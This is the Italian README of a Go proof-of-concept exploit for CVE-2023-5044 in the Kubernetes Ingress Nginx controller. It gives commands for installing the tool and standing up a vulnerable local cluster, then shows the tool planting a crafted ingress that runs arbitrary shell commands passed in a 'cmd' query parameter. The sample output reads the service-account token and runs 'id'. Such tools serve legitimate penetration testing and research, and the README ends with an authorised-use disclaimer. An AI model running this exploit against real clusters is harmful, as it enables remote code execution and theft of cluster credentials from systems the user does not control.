
Exploit proof-of-concept basato su Go per CVE-2023-5044 in Ingress Nginx, che automatizza l'esecuzione remota di codice tramite oggetti ingress appositamente creati nei cluster Kubernetes.
Questo è un veloce programma Go per sfruttare la recente CVE nel controller Ingress Nginx.
I dettagli su come farlo sono già disponibili tramite il blog di Rory McCune all'indirizzo https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, questo automatizza solo un po' il processo e pulisce l'exploit per renderlo un payload più flessibile e generico di esecuzione remota di codice.
% go install github.com/4armed/cve-2023-5044@latest
Avrai bisogno di un cluster su cui eseguirlo, con una versione vulnerabile di ingress-nginx (ovviamente). Se non ne hai uno su cui testare, puoi creare un cluster Kind clonando questo repository e usando il Makefile nella cartella deploy.
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
Se lasci il file kind.yaml così com'è, avrai un cluster legato al tuo localhost sulle porte 30080 e 30443.
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
La riga "checking permissions" è dovuta al fatto che lo strumento esegue una Subject Access Review per verificare che tu abbia i permessi per creare un ingress. Se non li hai, uscirà a quel punto. Se hai accesso in modifica a un ingress esistente, puoi certamente usare l'exploit per ottenere un compromesso, ma è troppo complesso automatizzare l'aggiornamento di un ingress esistente senza rompere nulla.
Il percorso predefinito per attivare l'exploit è /4armed e legge ed esegue il valore del parametro della stringa di query cmd.
Stamperà un URL di esempio con il comando predefinito cat /var/run/secrets/kubernetes.io/serviceaccount/token. Puoi cambiarlo con il flag -e o semplicemente fornire un valore diverso nel parametro cmd. L'exploit non è hard-coded. Non è necessario distribuire un nuovo ingress.
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
Il nome dell'oggetto ingress è randomizzato usando GenerateName, quindi presta attenzione all'output e pulisci dopo di te.
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
Se vuoi solo generare l'oggetto ingress, usa:
% cve-2023-5044 generate
Questo è solo a scopo di test contro un cluster per il quale hai l'autorizzazione. Se lo usi contro un cluster, che tu abbia o meno il permesso, l'autore non si assume alcuna responsabilità per eventuali danni o problemi causati. È stata prestata la massima attenzione nella scelta di valori di percorso che non entrino in conflitto con quelli esistenti; puoi sovrascriverli con i flag o modificare il codice se necessario, ma potresti comunque rompere qualcosa. Assicurati di sapere cosa stai facendo.